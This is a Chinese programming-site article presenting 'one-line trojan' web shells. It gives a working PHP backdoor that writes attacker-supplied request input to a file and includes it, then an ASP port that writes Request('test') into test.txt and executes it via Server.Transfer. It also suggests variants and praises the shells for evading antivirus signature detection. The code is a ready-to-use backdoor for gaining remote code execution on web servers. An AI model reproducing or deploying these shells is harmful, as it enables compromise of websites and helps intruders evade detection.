当前位置:编程学习 > asp >>

ASP一句话木马原理修改版

原PHP版: <?php
/*此作品原理为PHP本地文件包含  */
if(isset($_GET[muj]))  //只有get过来muj的时候才会执行,避免的一访问就执行的尴尬
{
$fp=fopen('houzi.txt',w);   //在当前目录生成houzi/txt(注:其实这句没必要)
file_put_contents('houzi.txt',"<?php\r\n");   //在houzi.txt中写入<?php且换行
file_put_contents('houzi.txt',$_GET[mujj],FILE_APPEND);
//用追加的方式在<?php后面mujj传过来的内容
fclose($fp); // 关闭资源  (注:其实这句没必要)
require 'houzi.txt';}  //  关键的一句,文件包含,于是后门产生
?>

这个PHP一句话的巧妙就巧妙在于动态生成文件再动态引用文件,不带任何病毒特征,于是我将其修改成为ASP版:
<%
Dim o,j
Set o=CreateObject("Scripting.FileSystemobject")  '创建FSO对象
Set j=o.CreateTextFile(Server.Mappath("test.txt"))  '创建待写入文本
j.WriteLine "<"&"%"&Request("test")&"%"&">" '写入文本
j.Close
Server.Transfer "test.txt"             '转移控制权
'后面的代码其实在Server.Transfer后已经没有任何用处了
o.DeleteFile Server.Mappath("test.txt")
Set j=Nothing
Set o=Nothing
%>
为什么我要这么写呢?

大家都知道,PHP有require和require_once来实现动态包含文件。但是,ASP的包含文件只有两种:

<!-- #include file\virtual="FilePath" -->
Server.Execute Server.MapPath(FilePath)

第一种方式是现在大部分ASP程序员都会使用的方式,用它来包含文件是再好不过的了。但是它不适合这个一句话,原因在于:

它包含的文件必须事先已经存在,如果不存在直接报错。

第二种方式,能动态包含文件,但是代码无法使用被包含文件的全局变量

由于这个缺陷,几乎没有程序员会使用它。所以,这个函数会被大部分病毒查杀软件拉入黑名单。

所以,这里用了Server.Transfer来重定向到一个新的文件。

当然,基于这个思路,我们还可做出其他版本,如:


把写入的文件扩展名改为ASP,Server.Transfer改成Response.Redirect,直接执行ASP

把写入的文件设置为文件自身,Server.Transfer改成Response.Write "<script>location.reload()</script>"后Response.End


这种方法的可怕之处在于其根本没有病毒的特征,静态查杀极难识别,只能根据文件写入的操作来识别。真是“道高一尺,魔高一丈”啊!

CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,